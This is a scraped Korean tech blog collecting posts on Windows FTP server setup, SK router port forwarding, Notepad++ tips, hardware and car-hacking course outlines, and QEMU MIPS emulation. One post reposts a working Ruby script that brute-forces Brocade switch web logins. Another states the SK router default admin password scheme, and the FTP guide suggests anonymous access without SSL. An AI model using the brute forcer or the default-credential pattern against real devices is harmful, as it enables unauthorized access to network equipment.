https://takim0070.tistory.com/10

 

윈도우 10 FTP 서버 설정

FA 현장에서 머신비전 카메라 이미지를 저장하는 경우가 존재한다. 이때, FTP로 이미지 저장해야 하는 경우가 있다. 거기에 필요한 FTP 서버 설정이다. 1. 윈도우 기능 켜기/끄기에 먼저 들어가 준

takim0070.tistory.com

 

FA 현장에서 머신비전 카메라 이미지를 저장하는 경우가 존재한다.

 

이때, FTP로 이미지 저장해야 하는 경우가 있다.

 

거기에 필요한 FTP 서버 설정이다.

 

1. 윈도우 기능 켜기/끄기에 먼저 들어가 준다.

 

 

 

2. FTP 서버 체크, IIS 관리 콘솔 체크

 

 

 

3. IIS ( 인터넷 정보 서비스 ) 관리자 실행

 

 

 

4. FTP 사이트 추가를 눌러 준다. 

 

 

 

5. FTP 이름과 경로를 설정 해 준다.

그리고 다음으로 넘어 간다.

 

 

 

 

6. 기본포트는 21번 포트인데 바꿀 수 있다. 여기서는 21번 포트를 사용 하겠다.

SSL 사용 안 함으로 한 뒤 다음으로 넘어 간다.

 

 

 

7. Anonymous ( 익명 ) 접근을 허용해도 좋다. 그렇게하면 액세스 허용에도 익명으로도 허용이 되어야 한다.

여기서는 기본, 모든 사용자, 읽고쓰기 권한을 주고 마침을 눌러 주겠다.

 

8. FTP 전용으로 쓸 사용자 하나를 만들어 주도록 하자. 컴퓨터 관리로 가자.

 

9. 로컬 사용자 및 그룹 > 사용자 > 새 사용자 를 눌러 사용자를 만들자.

 

 

10. 암호를 한번 지정하고 바꾸지 않을거니까 위와 같이 해주고

'사용자 이름' 이 접근할때 쓰는 ID이다.

 

>> 추가되면 위와 같이 추가가 된다.

 

 

11. 이제 방화벽 설정을 해준다.  ( 고급 보안이 포함된 Windows Defender 방화벽을 클릭!!! )

 

 

12. 인바운드 규칙 > FTP 관련 규칙 3개 > 규칙사용 클릭

 

 

13. FTP를 재시작 해주자. 먼저 서비스에 들어가자

 

 

14. Microsoft FTP Service 를 다시시작 해주자.

 

 

 

이렇게 하면 FTP 설정이 끝났다. FTP가 제대로 되는지 확인 해본 뒤 

 

안된다면 컴퓨터 재부팅을 실행 해보고 그래도 안된다면 차근차근

어떤부분이 문제인지 확인을 해보자.

 

Filezilla 클라이언트로 테스트 해보고 왜 안되는지 확인 해보는 방법도 좋을 것 같다.

 

'경로 및 정보' 카테고리의 다른 글

Car hacking API 경로 참고  (0) 2023.01.11
IP 찾기 BGP 대역  (0) 2023.01.09
에스케이 공유기 포트 포워딩 설정하기  (1) 2022.12.24
notepad 문자열 앞뒤 추가  (0) 2022.12.09
notepad++ 빈줄제거 및 공백조절  (0) 2022.12.09
블로그 이미지

wtdsoul

,

http://www.codns.com/b/B05-234

 
모뎀이나 회선이 단독으로 연결된 경우  컴퓨터 방화벽만 열어줘도  서버 프로그램 운영이 가능하지만 공유기 사용자의 경우에는 공유기 또한 열어 주어야만 서버 프로그램 운영이  가능합니다.  하나의 인터넷 회선을 나누어 쓰는 공유기의 경우   모뎀까지는 공인IP이지만  공유기 밑은 내부용IP(사설IP)이기 때문에 외부의 요청을 내부 컴퓨터로 전달할 수 없습니다.  
 
이럴 경우  공유기에  서버 프로그램이 사용하는 내부 IP와 포트 번호로 이루어진 연결 규칙을 미리 등록하여 두고  외부에서 해당 포트번호를 찾으면  연결된 내부IP로 전달하여 서버 프로그램을 찾을 수 있게 하는 방법을 사용하면 됩니다
 
 
 
 
 
유기에 이러한 연결 규칙을 설정하는 방법은 대략 네 가지가 있습니다.  첫 번째는 UPnP(Universal Plug and Play)방식,  두 번째는 포트 포워딩/Port Mapping/Virtual Server/Local Server 방식,  세 번째는  포트 트리거(Port Trigger)방식,  네 번째는  DMZ /Super DMZ설정방식이 있습니다.  전문가라면 포트포워딩 설정을 권장하며,  만약  일반 사용자이거나, 공유기의 관리자 화면 접근이 어려운 환경이라면 UPnP(Universal Plug and Play)  방식을 권장합니다.
 
포트 포워딩 방식으로  공유기 설정을 하시려면 먼저 설정 시  필요한 내부 IP와 포트번호, 그리고  공유기의 접속 주소를 각각 확인하여 주십시오. 컴퓨터의  내부용 IP(사설 IP)와 공유기 접속 주소를  확인하시려면, 윈도우 컴퓨터의  [시작 버튼]  ▷ [windows 시스템]  ▷  [명령 프롬프트] 에서 "ipconfig"을 입력하면  아래의 화면과 같이  IPv4 주소 ( 내부 IP)와 기본 게이트웨이 ( 공유기 IP)주소를 확인할 수 있습니다. 그리고 포트 번호의 경우에는 운용할 서버 프로그램의 환경설정을 참조하거나,  주요 서비스 포트 표를 참조하여 확인하십시오.  만약 포트번호 확인이 안되는 경우에는 DMZ 방식으로 설정 하셔야만 합니다,   

 
내부 IP와 포트번호, 그리고  공유기의 접속 주소를 확인하셨다면, 다음과 같이 입력하십시오.  일반적으로  SK 공유기는 웹 브라우저 주소 창에  http://192.168.25.1 또는 위에서 확인한 기본 게이트웨이 주소를  입력하면  공유기 로그인 창으로 이동합니다. ②  로그인 창에 관리자 아이디는  admin 비밀번호는 "공유기 뒷면 유선 MAC주소 끝에서 6자 " 와 "_admin"을 붙여 입력하거나, 아래의 리스트를 참조하여 입력합니다. ③ 로그인 후  방화벽  ▷  포트 포워딩 설정 화면으로 이동하여  아래 ④ 의 예시와 같이 등록하시면 됩니다. 
 
 SK 공유기 별  설정 정보 참조 표  전체 목록 보기
-
 SK 공유기에 웹 서버 / 서비스용 설정을 등록할 경우의  예시입니다. 참고로 SK 경우에는 80, 25번 등이 원천적으로 설정할 수 없는 경우가 대부분입니다. 따라서 코디엔에스의 웹 서버 우회 포트인 9000포트( 코디엔에스 포트 포워딩 )를 사용하는 예시로 설명하겠습니다. 
 
아래의 그림과 같이,  서비스 포트에는  웹 서버 / 서비스의 우회 포트인 9000 ~ 9000,  프로토콜은 TCP 선택  내부 IP주소는  웹 서버 / 서비스가 설치된 컴퓨터의 IPv4주소인 192.168.25.2   포트(내부 포트)에는  9000,  설명에는 임의로 "HTTP"를 입력하고  적용,저장하시면 설정이 모두 완료됩니다.  가급적  테스트는 핸드폰 ITE망 또는 코디엔에스 진단 도구와 같은 외부 망으로 테스트하시기를 권장합니다. 
 
 
 
 참고 - 포트 포워딩 입력 항목은    서버 프로그램이 사용할 포트번호를 내부 포트, 외부 포트, 포트의 범위에 입력하게 되며. 보통의 경우, 위의 그림과 같이 모두 동일하게 입력하면 됩니다.    서버 프로그램이 설치된 내부IP주소(IPv4 주소)로 위에서 확인한 주소를 입력하면 됩니다.   서버 포트의 프로토콜로 보통 TCP를 선택하시거나 아래의 포트 표를 참조하여 선택하십시오.    이름 또는 설명을 입력하는 것으로 편하신 대로 입력하면 됩니다. 그 외 항목은 입력하지 않아도 됩니다.   주요 서비스 포트 표
일반적인 포트 포워딩 설정 항목
설명 - 임의로 입력 가능하며 구분이 쉽도록 입력합니다. (예, HTTP )
내부 IP 주소 - 서버 프로그램/어플리케이션이 설치된 컴퓨터의 내부IP(사설IP)주소를 입력합니다. (예, 
192.168.25.2)
프로토콜 - Protocol Type (TCP/UDP)을 선택 합니다. 대부분 TCP이며, 53번의 경우는 UDP를 사용합니다.
서비스 포트 - 외부 접속 시 사용되는 내부 
서버/컴퓨터에 설치된 서버 프로그램/어플리케이션의 포트(또는 포트 범위)를 입력합니다. (예, 9000-9000)
포트 - 내부 서버/컴퓨터에 설치된 서버 프로그램/어플리케이션 포트(또는 포트범위)를 입력합니다.지정된 컴퓨터로 외부포트에서 연결해 주었을 떄, 그 지정된 내부 서버/컴퓨터에서는 어떤 포트를 사용할 것인지를 지정합니다.(예, 9000)

만약 서버 포트를 모를 경우에는  방화벽   DMZ으로 이동하여 DMZ 에 체크하고,  DMZ 호스트 IP주소에는 서버 프로그램이 설치된 컴퓨터의 IP(예, 192.168.25.2)를 입력하면 됩니다. 본 설정은 외부에서의 모든 포트 요청을 내부IP (예, 192.168.25.2 ) 로 연결하라는 의미의 설정입니다.
주의 - 포트 포워딩 설정과 DMZ설정 중, 하나만 설정하실 것을 권장합니다. DMZ설정방식은 1개의 내부 컴퓨터에만 적용되어도 될 경우에 사용하십시오. 여러 대의 컴퓨터에 각각의 적용이 필요하다면 포트 포워딩 방식을 사용하셔야 합니다.. DMZ / SuperDMZ 설정참조




유기 2개를  연결하여 사용하는  경우에는  아래의 그림과 같이 통신회사에에 직접 연결된  1번 공유기는 DMZ설정으로 이동하여 DMZ IP주소 입력란에 2번 공유기의 내부IP를 입력하고, 2번 공유기는 위의 일반 포트 포워딩 설정과 동일하게 설정하시면 됩니다.  만약 1번 공유기가 설정이 불가능한 타입의 장비인 경우  통신사에 문의하거나, 장비 교체를 요청하십시오.  ▶ 2개 공유기 포트 포워딩 설정 참조



 설정을 마치셨다면,  코디엔에스 진단 도구로 이동하여 외부에서  서버 프로그램으로 접속이 가능한지를  직접 확인해 보실 수 있습니다.  홈페이지 ▷ 진단 도구 ▷ 서비스 포트 스캔을 통해 설정하신 포트가 열려 있는지를 다시 한번 확인하십시오 
 
 
 
예시 : 공유기의 포트 포워딩 설정을 통하여  9000번 포트의 설정을  마치셨다면,  그림과 같이 포트 스캔 페이지로 이동한 후,고객님의 주소인  id.codns.com을 입력하고,.사용자 지정 포트에 9000을  입력한 후, 포트스캔버튼을 클릭하면 결과가 표시됩니다.
웹 서버가 운영 중( 웹 서버 포트의 기본 포트를 9000번으로 적용 시 ) 이라면, "사용 중"이 나타나며, 아직 웹 서버가 운영 중이 아니라면, "사용가능"으로 나타나게 됩니다. 이것은 공유기 설정이 모두 정상임을 의미합니다. 만약  "차단 상태" 로  조회된다면, 위의 공유기 설정 과정을 점검 하셔야 합니다. 만약 점검 후에도  문제가 여전 하다면, 윈도우 방화벽 미 설정. 또는 통신회사가 포트를 차단한 경우로    방화벽가이드 참조하거나 통신회사에 문의하셔야 합니다.


 공유기 내부에서만  DDNS주소를 못 찾는 오류가  갑자기 발생한다면  공유기의 NAT loopback ( 또는 Hairpin NAT ) 기능의 일시적 오류일 수 있습니다.  이럴 경우에는 공유기를 재부팅하여 일정시간 경과 후 재실행하시면 됩니다. 여전히 오류가 있다면  윈도우 "호스트"파일  강제설정이 도움이 될 수 있습니다.  호스트파일 설정   


정에 어려움이 있다면, 고객에게 무료로 제공되는 전화 콜 백 서비스 / 원격지원 서비스로 문제를 해결할 수 있습니다.   1:1 친절 상담에  고객님이 편한 시간과 연락처, 그리고 해결해야 될 문제들을  작성해주시면 코디엔에스 전문상담 팀이 고객님의 편한 시간에   직접 전화 방문하여 문제들을 해결해 드리도록 하겠습니다.    원격지원 서비스가 필요하시다면  먼저 고객센터(1566-6346번)에서 서비스 넘버를 받으신 다음,  컴퓨터의 시작버튼을 누르고  프로그램  리스트 중에서    코디엔에스 3  ▷  코디엔에스  원격지원을  클릭하여 서비스 지원을 받으시면 됩니다.

'경로 및 정보' 카테고리의 다른 글

IP 찾기 BGP 대역  (0) 2023.01.09
Windows 10 FTP 서버 설정  (0) 2022.12.24
notepad 문자열 앞뒤 추가  (0) 2022.12.09
notepad++ 빈줄제거 및 공백조절  (0) 2022.12.09
그레이해쉬 하드웨어 커리  (0) 2022.11.04
블로그 이미지

wtdsoul

,

 

글자 앞뒤에 텍스트 일괄 추가 방법(윈도우 프로그램 Notepad++) (tistory.com)

 

글자 앞뒤에 텍스트 일괄 추가 방법(윈도우 프로그램 Notepad++)

안녕하세요. 이만가지 오만가지 입니다. 가끔 문서 작업을 하다 보면 일괄로 문자 앞뒤에 글자를 입력해야 하는 일이 자주 발생합니다. 엑셀에서 가능하지만 함수를 사용하는 것보다 좀 더 간편

ttps2line.tistory.com

 

 

'경로 및 정보' 카테고리의 다른 글

Windows 10 FTP 서버 설정  (0) 2022.12.24
에스케이 공유기 포트 포워딩 설정하기  (1) 2022.12.24
notepad++ 빈줄제거 및 공백조절  (0) 2022.12.09
그레이해쉬 하드웨어 커리  (0) 2022.11.04
brocade_switch  (0) 2022.10.28
블로그 이미지

wtdsoul

,

notepad++ 에서 빈줄제거 및 공백조절(제거)방법 (tistory.com)

 

notepad++ 에서 빈줄제거 및 공백조절(제거)방법

간단한 방법으로 Notepad++ 에서 빈줄과 공백을 제거 할 수 있다.빈줄 제거를 시작으로 설명을 시작한다.1. 먼저 마우스 드래그나 Shift+화살표, CTRL+A 키로 특정 영역을 선택한다.그림에서는 'CTRL+A'

withserver.tistory.com

 

간단한 방법으로 Notepad++ 에서 빈줄과 공백을 제거 할 수 있다.

빈줄 제거를 시작으로 설명을 시작한다.

1. 먼저 마우스 드래그나 Shift+화살표, CTRL+A 키로 특정 영역을 선택한다.

그림에서는 'CTRL+A' 키로 전체 영역을 선택했다. (붉은 사각형부분은 일부러 삽입한 공백)

 

 

2. 'CTRL+H' 키를 눌러 바꾸기 창은 연다. (메뉴의 찾기 - 바꾸기 )

찾을단어 부분은 ^\r\n 을 입력, 바꿀단어부분은 아무것도 입력 하지않고, 찾기방식을 '정규표현식' 으로 체크 후 '모두바꾸기' 버튼을 클릭한다.

 

3. 12회의 찾아서 바꾸기 작업을 수행이 잘 끝났다는 메세지

 

 

4. 빈줄제거작업이 완료 된 결과

 

 

 

5. 이번에는 공백을 적당히 조절하는 방법인데, 공백 두개를 찾아서 한개로 바꾸는 작업이다.

'찾을단에' 부분에는 공백 두개를 입력하고, '바꿀단어; 부분에는 공백을 한개 입력한다.

 

 

 

6. 공백두개 -> 공백한개로 변환한 결과이다.

 

 

 

7. 공백두개 -> 공백한개로의 변환작업을 5회 반복한 결과.

 

 

찾아서 바꾸는 편집기의 기능을 활용하여 큰 문서작업을 손쉽게 하는 요령중의 하나인데, 다른 편집기나 툴들을 이용하는 방법도 많이 있으니 취향에 맞게 쓰면 되겠다.

공백의 길이가 길거나 빈줄이 여러개 이상 연속된다면 'CTRL+A' 'CTRL+H' 키를 여러번 눌러야되는데, 이때는 찾을 문자열에 \r\n\r\nr\r\n 이나 공백세개이상을 입력하는 방식으로 반복횟수를 늘릴 수 있다.

 

* 참고 : 정규표현식

텍스트를 검색, 치환, 추출할때 사용하는 방식인데 주로 유닉스계열에서 많이 사용하다가 지금은 많이 일반화되어 웬만한 OS나 프로그래밍언어에서는 대부분 지원한다. 

다만 OS, 프로그래밍언어별로 약간씩 차이가 있어 사용상 주의가 필요하다.

위의 예에서 나온 ^ 는 라인의시작을 뜻하는 문자이고, \r\n 은 윈도우계열에서 사용하는 개행문자이다.

빈줄의 경우 화면에는 아무것도 없는것으로 보이지만 실제로는 개행문자(\r\n)가 존재하는것이니 라인 시작부분을 확인하여 개행코드이면 빈줄로 인식하여 삭제하는 방법으로 빈줄삭제가 가능한것이다.

 

* 참고 : 각 OS별 개행코드

윈도우 : \r\n

UNIX : \n

MAC : \r

'경로 및 정보' 카테고리의 다른 글

에스케이 공유기 포트 포워딩 설정하기  (1) 2022.12.24
notepad 문자열 앞뒤 추가  (0) 2022.12.09
그레이해쉬 하드웨어 커리  (0) 2022.11.04
brocade_switch  (0) 2022.10.28
CAN 통신 강의  (0) 2022.10.28
블로그 이미지

wtdsoul

,

  https://grayhash.com/html/Training.html

 

Offensive Security Research Center 그레이해쉬 홈페이지에 오신 것을 환영합니다.

GrayHash는 다음과 같은 해킹/보안 트레이닝 코스를 상시 운영합니다. GrayHash의 강사들은 국내 대기업, KITRI BoB 및 기타 정부기관에서의 강의 경력을 가지고 있으며,강사마다 갖고 있는 전문지식을

grayhash.com

 

1일차 - 기초 펌웨어 개발
    
    • 실습 장비 Grayhash DanbiBoard-BASIC 소개 및 Spec 설명
    • Firmware, Bootloader, OS, Filesystem의 이해
    • CPU 관점에서 본 부팅 과정의 이해
    • 실습 : 펌웨어 개발 환경 구축
    • 펌웨어 코드 작성 이론 설명
    • 실습 : 기본 펌웨어 개발 및 퓨징
    • 펌웨어 코드 분석 및 GPIO의 이해
    • UART를 이용한 DEBUG 메시지 출력
    • 해커의 관점에서 본 UART 프로토콜
    • 실습 : LED 등 주변장치 제어
    • 하드웨어 통신 프로토콜 I2C의 이해
    • 마무리 실습 : Character LCD 제어


    2일차 - 리눅스 시스템 개발

    • 실습 장비 Grayhash DanbiBoard-EDU 소개 및 Spec 설명
    • 부트로더(Bootloader)의 이해
    • 메모리, 메모리 컨트롤러 및 메모리 맵의 이해
    • 해커의 관점에서 본 메모리 맵
    • DDR2 RAM 초기화 방법에 대한 이해    
    • 실습 : RAM 초기화 및 RAM 테스트    
    • U-BOOT의 구조 및 커널 로딩 과정의 이해     
    • 실습 : U-BOOT 포팅 및 퓨징    
    • 부트로더를 이용한 펌웨어 업그레이드    
    • 해커의 관점에서 본 부트로더 (부트로더 보안체계 우회 사례들)
    • 실습 : Linux Kernel 컴파일 및 퓨징    
    • Root File System의 이해    
    • 실습 : Root File System 빌드 및 퓨징
    • 해커의 관점에서 본 Root File System
    • 리눅스 부팅 과정 및 파티션 구조의 이해
    • 마무리 실습 : 리눅스 시스템 부팅


    3일차 - 개발보드의 활용

    • 실습 장비 Grayhash DanbiBoard-PRO 소개 및 Spec 설명
    • 디바이스 드라이버의 이해        
    • 실습 : 디바이스 드라이버를 통한 주변장치 제어
    • 하드웨어 통신 프로토콜 SPI의 이해
    • 해커의 관점에서 본 SPI 프로토콜
    • TFT-LCD 디스플레이 연결    
    • Frame Buffer의 이해
    • 실습 : Frame Buffer 장치를 이용한 TFT-LCD 제어
    • 실습 : mp3 음원 및 동영상 재생
    • USB 시스템 작동 구조의 이해
    • 실습 : USB 키보드 및 랜카드 연결
    • Ethernet 시스템 작동 구조의 이해
    • 실습 : 네트워크 연결
    • 마무리 실습 : 게임 에뮬레이터 실행하기

------------------------------------------------------------

1일차 - AVR Programming
    

    [AVR 프로그래밍]
    • MCU(Micro Controller Unit)의 이해
    • Atmega128A MCU 소개
    • 개발 도구(Atmel studio 6.2) 설치
    • ISP(In-System Programming)의 이해
    • 범용/특수 입출력 포트의 이해
    • LED, 모터, 스피커 제어 실습
    • 7-Segment 및 Dot Matrix 제어 실습
    • 온도 센서 제어를 통한 ADC의 이해
    • 디지털 온도계 제작 실습
    • UART 통신 실습
    • 트랜지스터를 이용한 증폭 작용 실습
    • 스위치를 이용한 입력 핀 사용 실습
    • 인터럽트와 타이머의 이해
    • PWM(Pulse Width Modulation)의 이해
    • IrDA(적외선)을 이용한 무선 통신 실습
    • AVR Firmware 추출하기
    • AVR과 Arduino의 관계 이해
    • Arduino 프로그래밍 실습


    2일차 - UART&JTAG Hacking

    [UART Hacking]
    • 하드웨어 레벨 프로토콜의 이해 : UART, I2C(2-wire, TWI), SPI
    • UART Programming의 이해
    • Logic Analyzer를 이용한 UART 프로토콜 분석 실습
    • UART Pin 찾기 실습
    • 유무선 공유기 UART 연결 실습
    • Baudrate 분석 실습
    • 스마트폰(갤럭시S) UART 연결 실습
    • UART 쉘을 이용한 바이너리 추출 실습
    • 각종 기기들에 대한 UART 연결 시연 (스마트 TV, 홈 네트워크 시스템, CCTV, NAS 장비)
    • UART 해킹 case by case

    [JTAG Hacking]
    • JTAG의 개념 및 작동 원리 이해하기 (TDI, TDO, TCK, TMS, TRST)
    • TAPC(Test Access Port Controller) 상태도 이해하기
    • JTAG 실전 활용 예제
    • 상용 JTAG 툴 소개 : Riffbox Jtag, H-JTAG, AD-JTAG
    • JTAG Pin Scanning : Jtagulator, JTAGenum
    • JTAG을 이용한 펌웨어 획득 실습
    • JTAG을 이용한 동적 디버깅 실습


    3일차 - Flash Memory 덤프 실습

    • Flash Memory 기초
    • Winbond W25Q16BV Flash Memory의 이해
    • 마이크로 프로세서 GPIO Handling 실습
    • SPI 프로토콜의 이해
    • Flash Memory Dumper 개발 실습
    • Desoldering 실습
    • Winbond W25Q16BV Serial Flash Memory Dump 실습
    • 8-pin Test-clip 활용 실습
    • Dump된 Firmware Image 분석 및 바이너리 파일 추출 실습


[Hardware]
    • AVR 개발 키트(jmod-128-1)
    • UART, JTAG 장비
    • 점퍼 케이블, 빵판 및 각종 센서들

------------------------------------------------------------


    1일차 - CANbus Hacking
    
    • CAN(Controller Area Network) 통신의 이해
    • ECU(Electronic control unit)의 이해
    • CANbus lines 연결하기 실습
    • CANbus Hacking Tool 개발 실습
    • CAN Message Sniffing 실습
    • CAN Message 송신(Injection) 실습
    • CAN Message 포맷의 구조 이해
    • CANbus Controller와 Transceiver의 이해
    • Car Network 종류들의 이해
    • 차량진단 표준의 이해와 해킹 관점에서의 활용
    • 실제 차량의 OBD-II 포트와 연결하기 실습
        
    • 주요 자동차 해킹 사례 및 취약점 발생 원리 분석
        • 2010 - Experimental Security Analysis of a Modern Automobile
        • 2011 - Comprehensive Experimental Analyses of Automotive Attack Surfaces
        • 2013 - Adventures in Automotive Networks and Control Units
        • 2014 - A Survey of Remote Automotive Attack Surfaces
        • 2015 - Remote Exploitation of an Unaltered Passenger Vehicle
        • 2015 - How to Hack a Tesla Model S
        • 2015 - Broadcasting Your Attack: Security Testing DAB Radio In Cars
        • 2015 - Drive it like you Hacked it: New Attacks and Tools to Wireles
        • 2016 - Advanced CAN injection technique for vehicle networks
        • 2016 - Car Hacking Research: Remote Attack Tesla Motors
        • 2017 - The CIA may be hacking cars

    • 자동차 Attack Vector의 이해
        • Hardware Vulnerabilities Analysis (UART/JTAG/OBD-II)
        • Audio/Video/Navigation Device Vulnerabilities Analysis
        • Smart Device Vulnerabilities Analysis
        • Telematics Device Vulnerabilities Analysis
        • ETC : Web Browser, Smartphone APP, Radio Data System, Cloud Server
    

    
    2일차 - Infotainment System Hacking

    • Bluetooth based Car Hacking
        • Bluetooth 기초 (master/slave, piconet, bluetooth stack)
        • Bluetooth module 사용 실습
        • Bluetooth Packet 송수신 실습
        • Bluetooth Packet sniffing 실습
        • Bluetooth Profile의 이해
        • Bluetooth Profile Scanning 실습
        • 차량용 디바이스의 주요 Profiles
        • 차량의 주요 Bluetooth 관련 기능들
        • 차량의 Bluetooth Packet Sniffing 및 분석
        • 차량 Bluetooth의 주요 Attack Vectors
        • Bluetooth Packet 변조 실습

    • USB based Car Hacking
        • 차량 USB의 주요 Attack Vectors
        • USB(Universal Serial Bus) 기초
        • Beagle USB 480을 이용한 USB Packet Sniffing
        • 주요 USB Packets 분석(Device, Configuration, Interface, Endpoint, String Descriptor)
        • USB Packet Fuzzing 환경 구축
        • OrangePi를 이용한 USB fuzzer 개발
        • Linux USB Gadget의 이해
        • USB Stack Fuzzing
        • USB based OS File system Fuzzing
        • USB based Multi-media file Fuzzing
    
    
    
    3일차 - Telematics System Hacking

    • TCU(Telematics Control Unit)의 이해
    • SMS PDU 포맷의 이해
    • PDU 포맷 분석 실습
    • PDU 데이터를 이용한 SMS 전송 실습
    • Modem device를 이용한 SMS 전송 실습
    • 보내는 SMS와 받은 SMS의 PDU 필드 값 비교
    • MMS(Multimedia Messaging Service) 전송하기
    • PDU-Header 및 TP-UDHI 필드의 이해
    • IEI(Identity Element Identifie)와 Application Port의 이해
    • SMS Hacking 사례 분석
    • SMS Fuzzing 환경 구축
    • Android telephony stack의 이해
    • SMS 수신 시의 데이터 흐름 경로 분석 및 Fuzzing 지점 선정
    • SMS Fuzzer 개발 방법의 이해
    • Fake BTS를 이용한 SMS attack (USRP + OpenBTS)
    

'경로 및 정보' 카테고리의 다른 글

notepad 문자열 앞뒤 추가  (0) 2022.12.09
notepad++ 빈줄제거 및 공백조절  (0) 2022.12.09
brocade_switch  (0) 2022.10.28
CAN 통신 강의  (0) 2022.10.28
[Windows - Tip] 무료 대용량 텍스트 파일 읽기 프로그램  (0) 2022.10.27
블로그 이미지

wtdsoul

,

brocade_switch

경로 및 정보 2022. 10. 28. 10:39
45 lines (42 sloc)  1.18 KB
 
 
  #!/usr/bin/ruby
  # Brocade Switch Brute Forcer
  # @ndrix
  require 'net/http'
  require 'base64'
   
  def usage
  puts "#{$0} <url> <login> passwords.txt"
  puts "<login> is usually root, admin, user or factory"
  exit
  end
   
  usage if ARGV.length < 3
  uri = URI.parse(ARGV.first)
  rand = 0
   
  # get the arguments
  http = Net::HTTP.new(uri.host, uri.port)
  req = Net::HTTP::Get.new("/Authenticate.html?page=/switchExplorer.html")
  req["User-Agent"] = "WebTools"
  req["Cache-Control"] = "no-cache"
  req["Connection"] = "keep-alive"
  file = File.open(ARGV[2])
  puts " + going to try #{file.readlines.size} passwords"
  counter = 0
  File.open(ARGV[2]).each do |password|
  counter += 1
  password.chomp!
  auth = "#{ARGV[1]}:#{password}:#{3000000000+rand(999999999)}"
  req["Authorization"] = "Custom_Basic #{Base64.encode64(auth).chomp}"
  resp = http.request(req)
  if resp.code.eql?("200")
  response_lines = resp.body.split("\n")
  if response_lines[9].eql?("authenticated = no")
  print "."; $stdout.flush
  else
  puts "\nFound it! : #{password}"
  exit
  end
  else
  puts " ! something went wrong, we got a http code #{resp.code}"
  end
  print " #{counter}\n" if (counter % 50).eql?(0)
  end
  puts "\n + all done, we didn't find anything."
블로그 이미지

wtdsoul

,

CAN 통신 강의

경로 및 정보 2022. 10. 28. 09:16

https://www.inflearn.com/course/%EC%9E%90%EB%8F%99%EC%B0%A8-%EC%8B%A0%EC%9E%85-can%ED%86%B5%EC%8B%A0#curriculum

 

CAN 통신 - 자동차 신입이 알아야 할 모든 것 - 인프런 | 강의

CAN통신에 대한 '학술적인' 강의가 아니라 '같이 일하게 될' 신입사원에게 알려준다는 생각으로 일을 하는 과정에서 필요한 모든 얘기들을 담았습니다., - 강의 소개 | 인프런...

www.inflearn.com

 

CAN High & CAN Low signal05:00
CAN Tranceiver & CAN Controller10:43
보너스 - 실제 CAN 트랜시버 데이터시트 살펴보기 (TJA1043)20:10
통신속도 : BaudRate23:13
보너스 - BaudRate 관련 : MCU 데이터 시트 살펴보기03:12
메세지의 ID15:24
메세지의 우선순위 & Bus Load16:23
메세지 속 '시그널'28:41

CAN 에러 처리 - 1. 개요04:05

CAN 에러 처리 - 2. 에러 감지 및 반응 (Error state)12:44
CAN 에러 처리 - 3. 에러의 종류 및 마무리15:25
CAN 에러 처리 - 4.Aurix MCU 살펴보기02:26
 
CAN FD 소개05:24
CAN DB. 그리고 "CAN DBC 파일" 소개06:12
보너스_CAN DBC 파일 직접 만들어보기05:44
Canoe (시뮬레이션 툴) 소개10:13
 
 
 
 
 
 
 
 
블로그 이미지

wtdsoul

,

 

 - 무료

 - 빠르고 적은 메모리 사용

 - 대용량 텍스트파일 읽기 가능

 - glogg는 다양한 운영체제 지원

 - glogg 다운로드 링크

 

glogg — Download

Download glogg currently runs on Windows and UNIX based systems, including macOS. The MD5 checksums can be checked from the release emails sent to the development list. macOS An installer for the latest version is available for Mac OSX / macOS: glogg-lates

glogg.bonnefon.org

 

 

'경로 및 정보' 카테고리의 다른 글

brocade_switch  (0) 2022.10.28
CAN 통신 강의  (0) 2022.10.28
QEME로 MIPS 구동 환경 셋팅(펌)  (0) 2022.10.23
DNS Cache Poisoning 공격  (0) 2022.10.14
chromium-browser  (0) 2022.10.12
블로그 이미지

wtdsoul

,

https://goseungduk.tistory.com/29

 

QEMU로 MIPS 구동 환경 구성하기

MIPS를 사용할 일이 생겨서 현재 사용하는 Ubuntu 16.04 LTS 에 QEMU로 가상환경을 조성하기로 하였다. 우선 MIPS를 구동할 QEMU부터 설치하자. sudo apt-get install qemu 이렇게 하면 MIPS 외에도 다른 하드웨어..

goseungduk.tistory.com

MIPS를 사용할 일이 생겨서 현재 사용하는 Ubuntu 16.04 LTS 에 QEMU로 가상환경을 조성하기로 하였다.

우선 MIPS를 구동할 QEMU부터 설치하자.

sudo apt-get install qemu

이렇게 하면 MIPS 외에도 다른 하드웨어, 플랫폼을 위한 QEMU 구성요소가 설치된다.

(상당히 QEMU에서 지원하는 부분이 많다)


이제 QEMU를 설치했으니 구동시킬 커널과 이미지를 받아보자

커널

wget https://people.debian.org/~aurel32/qemu/mipsel/vmlinux-3.2.0-4-4kc-malta

이미지

wget https://people.debian.org/~aurel32/qemu/mipsel/debian_wheezy_mipsel_standard.qcow2


여기서 이제 QEMU 버전 문제 때문에 일부러 커널을 구버전으로 받아서 했다. 최신버전을 원하는 사람들은 여기를 찾아보라.

https://stackoverflow.com/questions/58181344/how-to-use-netdev-user-hostfwd-option-in-qemu/58183222#58183222

그리고 mips와 mipsel의 차이는 간단히말하면 mips에서 지원하지않던 명령어들(move 같은 것?)을 mipsel에서는 지원한다는 것이다. 크게 다르진 않다고 한다.


이제 구동시켜보자!!!

qemu-system-mipsel -M malta -kernel vmlinux-3.2.0-4-4kc-malta -hda debian_wheezy_mipsel_standard.qcow2 -append "root=/dev/sda1" -nographic -redir tcp:3131::22

 

qemu-system-i386 debian_squeeze_i386_standard.qcow2 -nographic -netdev user,id=root,hostfwd=tcp::32323-:22
i386도 가능하다

 

-M malta -kernel 뒤에는 받은 커널 이름과 버전을 인자로 주면 되고, -hda 뒤에는 debian 이미지 이름을 넣어주면 된다. -redir은 위에말대로 옛날 버전에서만 된다고 하니 유의하도록!

그러면 위와 같이 성공적으로 debian 리눅스가 켜진다.

ID : root / PW : root 로 로그인 하면된다.


apt-get 패키지 구성 유의사항

필자는 apt-get이 안먹혀서 굉장히 당황했다.

오류는 대강 install이나 update할 때 파일을 가져오는 url이 없다는 404 오류였다.. (?)

이 경우, apt-get 으로 받아오는 url(?)을 재설정 해줘야하는 것 같다.

debian 리눅스 상에서 /etc/apt/sources.list 에서 나머지 문장들은 다 주석처리 해버리고 이 문구를 추가하자.

deb http://archive.debian.org/debian/ wheezy main contrib non-free

아래는 필자의 /etc/apt/sources.list 파일

아무튼 이후는 알아서 디버깅을 하던 구동을 하던 마음대로 무한으로 즐기면 된다.

추가

'경로 및 정보' 카테고리의 다른 글

CAN 통신 강의  (0) 2022.10.28
[Windows - Tip] 무료 대용량 텍스트 파일 읽기 프로그램  (0) 2022.10.27
DNS Cache Poisoning 공격  (0) 2022.10.14
